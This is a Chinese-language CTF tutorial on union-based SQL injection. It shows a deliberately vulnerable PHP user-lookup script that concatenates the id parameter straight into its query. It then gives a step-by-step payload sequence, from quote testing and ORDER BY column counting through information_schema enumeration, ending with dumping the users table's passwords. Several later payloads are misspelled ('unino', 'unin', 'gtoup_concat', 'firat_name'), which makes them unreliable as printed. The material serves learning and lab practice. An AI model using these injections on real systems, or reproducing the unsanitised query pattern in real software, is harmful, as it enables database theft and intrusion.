CTF WEB SQL注入-联合注入
SQL注入-联合注入
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
这个是一段有漏洞的代码,从用户请求中获取id参数,直接将id参数带入SQL语句进行查询,最后输出结果
可以看到,代码并未对id参数做任何的过滤和检查,因此可以向id中构造特殊语句来达到我们想要的结果
$id = "1";
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//SELECT first_name, last_name FROM users WHERE user_id = '1'
正常情况下,传入参数"1",表示查询ID为"1"用户数据
字符还是数字
在SQL注入测试中,我们会先判断注入的查询字段是字符型还是数字型,可以输入如下语句,判断用户输入查询参数是否被单引号包裹
$id = "1' and '1' = '2";
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//SELECT first_name, last_name FROM users WHERE user_id = '1' and '1' = '2'
我们要使判断恒为真,然后列出表中所有数据,可以使用 “OR”,执行后将列出此表所有数据,说明注入生效
$id = "1' or '1' = '1";
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1'
确定字段数量
接下来我们要开始猜测查询语句中的字段数
$id = "1' or 1 = 1 order by 1 #";
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//SELECT first_name, last_name FROM users WHERE user_id = '1' or 1 = 1 order by 1 #'
#号在SQL中表示注释,在此语句中末尾多出一个单引号,这个是我们不想要的,使用 “--”也可以注释
order by 是指依照输出字段的第几列进行排序
我们可以依次对order by后的参数做刚刚,从 1 开始,假如order by 3执行后出现报错,那么说明此语句中只显示两个字段的数据
确定字段顺序
通常我们并不知道查询中的那些字段被输出,而那些字段没有被输出,所以我们可以通过union确定字段顺序
$id = "1' union select 1,2 #";
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #'
union表示联合查询,可以将多条SQL查询语放到一条查询语句中,要保证两个查询的字段数相同
通过观察那一列的数字被输出了,说明该字段是被回显的字段,没有就代表该字段并没有回显
因此我们在后续注入中要保证两个查询的字段数相同
获取数据库名
$id = "1' union select 1,database() #";
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database() #'
database()是MySQL封装的一个函数,用于返回当前数据库名称
获取数据表名
'1' unino select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #'
group_concat()函数的作用是将查询的数据拼接到一行输出,以逗号分隔,table_name为字段名称
在MySQL中可以把information_schema看作一个数据库,其中保存着MySQL服务器维护的所有数据库信息
获取表中字段列表
'1' unin select 1,gtoup_concat(column_name) from information_schema.columns where table_name='users' #
将users表中的所有字段名称以逗号为分割放到一行输出
在CTF中,回显结果可能会受到限制,如只回显第一条数据,我们可以让前一个查询的结果为空
'1' and 1=2 unin select 1,gtoup_concat(column_name) from information_schema.columns where table_name='users' #
如果group_concat函数被过滤,我们可以使用limit,如limit 5,1 表示从第五行输出一行数据
这样可以保证回显的第一条数据就是我们后面拼接的查询语句结果
查询数据
'1' or 1=1 union select group_concat(user_id,firat_name,last_name),group_concat(password) from users #
最后根据我们上面获取到的所有信息来对表就行一个数据查询,得到自己想要的数据